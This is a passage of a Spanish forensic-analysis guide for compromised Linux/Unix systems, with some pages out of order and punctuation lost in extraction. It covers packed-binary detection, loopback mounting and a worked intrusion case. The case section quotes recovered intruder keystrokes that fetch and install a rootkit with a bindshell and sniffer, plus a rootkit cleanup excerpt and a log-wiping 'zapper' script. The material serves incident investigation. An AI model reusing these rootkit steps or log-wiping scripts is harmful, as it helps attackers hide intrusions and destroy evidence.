bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 39: Análisis Forense de Sistemas GNU/Linux, Unix

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

